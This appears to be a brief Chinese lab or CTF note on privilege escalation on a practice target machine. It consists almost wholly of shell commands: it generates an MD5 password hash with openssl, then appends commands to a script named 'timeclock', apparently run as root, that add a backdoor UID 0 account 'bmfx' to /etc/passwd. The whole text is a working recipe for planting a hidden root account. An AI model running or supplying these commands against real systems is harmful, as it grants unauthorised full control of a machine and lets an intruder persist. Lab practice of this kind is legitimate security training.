靶机-生成自有账户和密码提权

openssl passwd -1 -salt bmfx bmfx
$1$bmfx$HuKLopGkC8MwDIxBcpRnr/
echo "echo 'bmfx:\$1\$bmfx\$HuKLopGkC8MwDIxBcpRnr/:0:0:root:/root:/bin/bash' >> /etc/passwd" >> timeclock
echo 'bmfx:$1$bmfx$HuKLopGkC8MwDIxBcpRnr/:0:0:root:/root:/bin/bash' >> passwd